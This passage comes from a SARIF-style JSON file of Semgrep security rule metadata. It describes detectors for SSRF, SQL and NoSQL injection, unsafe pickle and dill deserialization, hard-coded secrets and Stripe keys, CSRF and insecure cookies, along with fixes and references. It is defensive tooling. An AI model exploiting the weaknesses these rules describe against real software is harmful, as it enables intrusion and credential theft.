cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-paramiko.tainted-fastapi-http-request-paramiko)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-paramiko.tainted-fastapi-http-request-paramiko","id":"python.fastapi.net.tainted-fastapi-http-request-paramiko.tainted-fastapi-http-request-paramiko","name":"python.fastapi.net.tainted-fastapi-http-request-paramiko.tainted-fastapi-http-request-paramiko","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.net.tainted-fastapi-http-request-paramiko.tainted-fastapi-http-request-paramiko"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Stripe API Key detected"},"help":{"markdown":"Stripe API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-stripe-api-key.detected-stripe-api-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Stripe API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-stripe-api-key.detected-stripe-api-key","id":"generic.secrets.security.detected-stripe-api-key.detected-stripe-api-key","name":"generic.secrets.security.detected-stripe-api-key.detected-stripe-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-stripe-api-key.detected-stripe-api-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a method annotated with 'RequestMapping' that does not specify the HTTP method. CSRF protections are not enabled for GET, HEAD, TRACE, or OPTIONS, and by default all HTTP methods are allowed when the HTTP method is not explicitly specified. This means that a method that performs state changes could be vulnerable to CSRF attacks. To mitigate, add the 'method' field and specify the HTTP method (such as 'RequestMethod.POST')."},"help":{"markdown":"Detected a method annotated with 'RequestMapping' that does not specify the HTTP method. CSRF protections are not enabled for GET, HEAD, TRACE, or OPTIONS, and by default all HTTP methods are allowed when the HTTP method is not explicitly specified. This means that a method that performs state changes could be vulnerable to CSRF attacks. To mitigate, add the 'method' field and specify the HTTP method (such as 'RequestMethod.POST').\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.unrestricted-request-mapping.unrestricted-request-mapping)\n - [https://find-sec-bugs.github.io/bugs.htm#SPRING_CSRF_UNRESTRICTED_REQUEST_MAPPING](https://find-sec-bugs.github.io/bugs.htm#SPRING_CSRF_UNRESTRICTED_REQUEST_MAPPING)\n","text":"Detected a method annotated with 'RequestMapping' that does not specify the HTTP method. CSRF protections are not enabled for GET, HEAD, TRACE, or OPTIONS, and by default all HTTP methods are allowed when the HTTP method is not explicitly specified. This means that a method that performs state changes could be vulnerable to CSRF attacks. To mitigate, add the 'method' field and specify the HTTP method (such as 'RequestMethod.POST')."},"helpUri":"https://semgrep.dev/r/java.spring.security.unrestricted-request-mapping.unrestricted-request-mapping","id":"java.spring.security.unrestricted-request-mapping.unrestricted-request-mapping","name":"java.spring.security.unrestricted-request-mapping.unrestricted-request-mapping","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.unrestricted-request-mapping.unrestricted-request-mapping"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Pod is sharing the host process ID namespace. When paired with ptrace this can be used to escalate privileges outside of the container. Remove the 'hostPID' key to disable this functionality."},"help":{"markdown":"Pod is sharing the host process ID namespace. When paired with ptrace this can be used to escalate privileges outside of the container. Remove the 'hostPID' key to disable this functionality.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.hostpid-pod.hostpid-pod)\n - [https://kubernetes.io/docs/concepts/policy/pod-security-policy/#host-namespaces](https://kubernetes.io/docs/concepts/policy/pod-security-policy/#host-namespaces)\n","text":"Pod is sharing the host process ID namespace. When paired with ptrace this can be used to escalate privileges outside of the container. Remove the 'hostPID' key to disable this functionality."},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.hostpid-pod.hostpid-pod","id":"yaml.kubernetes.security.hostpid-pod.hostpid-pod","name":"yaml.kubernetes.security.hostpid-pod.hostpid-pod","properties":{"precision":"very-high","tags":["CWE-269: Improper Privilege Management","LOW CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.hostpid-pod.hostpid-pod"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Make sure that unverified user data can not reach `vm2`."},"help":{"markdown":"Make sure that unverified user data can not reach `vm2`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.express-vm2-injection.express-vm2-injection)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html)\n","text":"Make sure that unverified user data can not reach `vm2`."},"helpUri":"https://semgrep.dev/r/javascript.express.security.express-vm2-injection.express-vm2-injection","id":"javascript.express.security.express-vm2-injection.express-vm2-injection","name":"javascript.express.security.express-vm2-injection.express-vm2-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.express-vm2-injection.express-vm2-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Hardcoded variable `SECRET_KEY` detected. Use environment variables or config files instead"},"help":{"markdown":"Hardcoded variable `SECRET_KEY` detected. Use environment variables or config files instead\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_SECRET_KEY)\n - [https://bento.dev/checks/flask/avoid-hardcoded-config/](https://bento.dev/checks/flask/avoid-hardcoded-config/)\n - [https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#builtin-configuration-values](https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#builtin-configuration-values)\n - [https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#environment-and-debug-features](https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#environment-and-debug-features)\n","text":"Hardcoded variable `SECRET_KEY` detected. Use environment variables or config files instead"},"helpUri":"https://semgrep.dev/r/python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_SECRET_KEY","id":"python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_SECRET_KEY","name":"python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_SECRET_KEY","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_SECRET_KEY"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-torch-pickle-aws-lambda.tainted-torch-pickle-aws-lambda)\n - [https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/](https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/;](https://davidhamann.de/2020/04/05/exploiting-python-pickle/;)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://pytorch.org/docs/stable/_modules/torch/distributed/distributed_c10d.html#broadcast_object_list:~:text=.BytesIO()-,_pickler,-(f)](https://pytorch.org/docs/stable/_modules/torch/distributed/distributed_c10d.html#broadcast_object_list:~:text=.BytesIO()-,_pickler,-(f))\n - [https://pytorch.org/docs/stable/generated/torch.load.html](https://pytorch.org/docs/stable/generated/torch.load.html)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-torch-pickle-aws-lambda.tainted-torch-pickle-aws-lambda","id":"python.aws-lambda.deserialization.tainted-torch-pickle-aws-lambda.tainted-torch-pickle-aws-lambda","name":"python.aws-lambda.deserialization.tainted-torch-pickle-aws-lambda.tainted-torch-pickle-aws-lambda","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.deserialization.tainted-torch-pickle-aws-lambda.tainted-torch-pickle-aws-lambda"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.psycopg2.python-psycopg2-hardcoded-secret.python-psycopg2-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.psycopg2.python-psycopg2-hardcoded-secret.python-psycopg2-hardcoded-secret","id":"python.psycopg2.python-psycopg2-hardcoded-secret.python-psycopg2-hardcoded-secret","name":"python.psycopg2.python-psycopg2-hardcoded-secret.python-psycopg2-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.psycopg2.python-psycopg2-hardcoded-secret.python-psycopg2-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected string concatenation with a non-literal variable in a pg Ruby SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized queries like so: `conn.exec_params('SELECT $1 AS a, $2 AS b, $3 AS c', [1, 2, nil])` And you can use prepared statements with `exec_prepared`."},"help":{"markdown":"Detected string concatenation with a non-literal variable in a pg Ruby SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized queries like so: `conn.exec_params('SELECT $1 AS a, $2 AS b, $3 AS c', [1, 2, nil])` And you can use prepared statements with `exec_prepared`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.sqli.ruby-pg-sqli.ruby-pg-sqli)\n - [https://www.rubydoc.info/gems/pg/PG/Connection](https://www.rubydoc.info/gems/pg/PG/Connection)\n","text":"Detected string concatenation with a non-literal variable in a pg Ruby SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized queries like so: `conn.exec_params('SELECT $1 AS a, $2 AS b, $3 AS c', [1, 2, nil])` And you can use prepared statements with `exec_prepared`."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.sqli.ruby-pg-sqli.ruby-pg-sqli","id":"ruby.rails.security.audit.sqli.ruby-pg-sqli.ruby-pg-sqli","name":"ruby.rails.security.audit.sqli.ruby-pg-sqli.ruby-pg-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.sqli.ruby-pg-sqli.ruby-pg-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.spring.spring-data-mongo-nosqli.spring-data-mongo-nosqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/kotlin.spring.spring-data-mongo-nosqli.spring-data-mongo-nosqli","id":"kotlin.spring.spring-data-mongo-nosqli.spring-data-mongo-nosqli","name":"kotlin.spring.spring-data-mongo-nosqli.spring-data-mongo-nosqli","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.spring.spring-data-mongo-nosqli.spring-data-mongo-nosqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"DefaultHttpClient is deprecated. Further, it does not support connections using TLS1.2, which makes using DefaultHttpClient a security hazard. Use SystemDefaultHttpClient instead, which supports TLS1.2."},"help":{"markdown":"DefaultHttpClient is deprecated. Further, it does not support connections using TLS1.2, which makes using DefaultHttpClient a security hazard. Use SystemDefaultHttpClient instead, which supports TLS1.2.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.defaulthttpclient-is-deprecated.defaulthttpclient-is-deprecated)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"DefaultHttpClient is deprecated. Further, it does not support connections using TLS1.2, which makes using DefaultHttpClient a security hazard. Use SystemDefaultHttpClient instead, which supports TLS1.2."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.defaulthttpclient-is-deprecated.defaulthttpclient-is-deprecated","id":"kotlin.lang.security.defaulthttpclient-is-deprecated.defaulthttpclient-is-deprecated","name":"kotlin.lang.security.defaulthttpclient-is-deprecated.defaulthttpclient-is-deprecated","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.defaulthttpclient-is-deprecated.defaulthttpclient-is-deprecated"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation."},"help":{"markdown":"A expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.dangerous-groovy-shell.dangerous-groovy-shell)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"A expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.dangerous-groovy-shell.dangerous-groovy-shell","id":"java.lang.security.audit.dangerous-groovy-shell.dangerous-groovy-shell","name":"java.lang.security.audit.dangerous-groovy-shell.dangerous-groovy-shell","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.dangerous-groovy-shell.dangerous-groovy-shell"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"help":{"markdown":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.sqli.jpa-sqli.jpa-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.sqli.jpa-sqli.jpa-sqli","id":"java.lang.security.audit.sqli.jpa-sqli.jpa-sqli","name":"java.lang.security.audit.sqli.jpa-sqli.jpa-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.sqli.jpa-sqli.jpa-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.deserialization.tainted-dill.tainted-dill)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://dill.readthedocs.io/en/latest/index.html](https://dill.readthedocs.io/en/latest/index.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://pypi.org/project/dill/](https://pypi.org/project/dill/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections."},"helpUri":"https://semgrep.dev/r/python.lang.deserialization.tainted-dill.tainted-dill","id":"python.lang.deserialization.tainted-dill.tainted-dill","name":"python.lang.deserialization.tainted-dill.tainted-dill","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.deserialization.tainted-dill.tainted-dill"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.neo4j.python-neo4j-empty-password.python-neo4j-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.neo4j.python-neo4j-empty-password.python-neo4j-empty-password","id":"python.neo4j.python-neo4j-empty-password.python-neo4j-empty-password","name":"python.neo4j.python-neo4j-empty-password.python-neo4j-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.neo4j.python-neo4j-empty-password.python-neo4j-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.mysql.express-mysql-sqli.express-mysql-sqli)\n - [https://sequelize.org/docs/v6/core-concepts/raw-queries/#replacements](https://sequelize.org/docs/v6/core-concepts/raw-queries/#replacements)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/javascript.express.mysql.express-mysql-sqli.express-mysql-sqli","id":"javascript.express.mysql.express-mysql-sqli.express-mysql-sqli","name":"javascript.express.mysql.express-mysql-sqli.express-mysql-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.mysql.express-mysql-sqli.express-mysql-sqli"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Insecure cryptographic hash algorithms should not be used, they often have known vulnerabilities like collision. Use a more secure hash algorithm instead such as `HMACSHA256`. If you hash passwords, use a slow hash function like `Argon2` or `scrypt`."},"help":{"markdown":"Insecure cryptographic hash algorithms should not be used, they often have known vulnerabilities like collision. Use a more secure hash algorithm instead such as `HMACSHA256`. If you hash passwords, use a slow hash function like `Argon2` or `scrypt`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet.crypto.hash.insecure-crypto-hash.insecure-crypto-hash)\n - [https://cwe.mitre.org/data/definitions/328.html](https://cwe.mitre.org/data/definitions/328.html)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Insecure cryptographic hash algorithms should not be used, they often have known vulnerabilities like collision. Use a more secure hash algorithm instead such as `HMACSHA256`. If you hash passwords, use a slow hash function like `Argon2` or `scrypt`."},"helpUri":"https://semgrep.dev/r/csharp.dotnet.crypto.hash.insecure-crypto-hash.insecure-crypto-hash","id":"csharp.dotnet.crypto.hash.insecure-crypto-hash.insecure-crypto-hash","name":"csharp.dotnet.crypto.hash.insecure-crypto-hash.insecure-crypto-hash","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet.crypto.hash.insecure-crypto-hash.insecure-crypto-hash"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Secure cookie flag is explicitly disabled. This will cause cookies to be transmitted over unencrypted HTTP connections which can allow theft of confidential user data such as session tokens."},"help":{"markdown":"Secure cookie flag is explicitly disabled. This will cause cookies to be transmitted over unencrypted HTTP connections which can allow theft of confidential user data such as session tokens.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.search-cookie-secure-false-ini-config.search-cookie-secure-false-ini-config)\n - [https://www.php.net/manual/en/function.setcookie.php](https://www.php.net/manual/en/function.setcookie.php)\n - [https://www.php.net/manual/en/function.session-set-cookie-params.php](https://www.php.net/manual/en/function.session-set-cookie-params.php)\n - [https://www.php.net/manual/en/configuration.file.php](https://www.php.net/manual/en/configuration.file.php)\n","text":"Secure cookie flag is explicitly disabled. This will cause cookies to be transmitted over unencrypted HTTP connections which can allow theft of confidential user data such as session tokens."},"helpUri":"https://semgrep.dev/r/php.lang.security.search-cookie-secure-false-ini-config.search-cookie-secure-false-ini-config","id":"php.lang.security.search-cookie-secure-false-ini-config.search-cookie-secure-false-ini-config","name":"php.lang.security.search-cookie-secure-false-ini-config.search-cookie-secure-false-ini-config","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.search-cookie-secure-false-ini-config.search-cookie-secure-false-ini-config"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build 